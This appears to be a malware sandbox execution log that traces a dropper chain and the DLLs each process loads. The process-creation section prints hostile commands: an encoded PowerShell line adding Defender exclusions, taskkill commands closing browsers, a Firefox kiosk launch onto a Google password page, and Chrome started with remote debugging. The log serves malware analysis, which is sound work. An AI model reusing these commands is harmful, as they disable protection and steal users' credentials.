Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2252,i,12247254292580222694,14534572486204827192,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe "C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe"
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Process created: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe "C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe "C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe "C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe "C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe "C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe "C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Process created: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe "C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe"
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81e41cdf-9cd7-4e6b-84b6-f40482f74e4a} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253dc76dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 4400 -prefMapHandle 3816 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {67daa889-b47a-41d1-9d91-f60d147d808b} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253ee211110 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2252,i,12247254292580222694,14534572486204827192,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: rasadhlp.dll
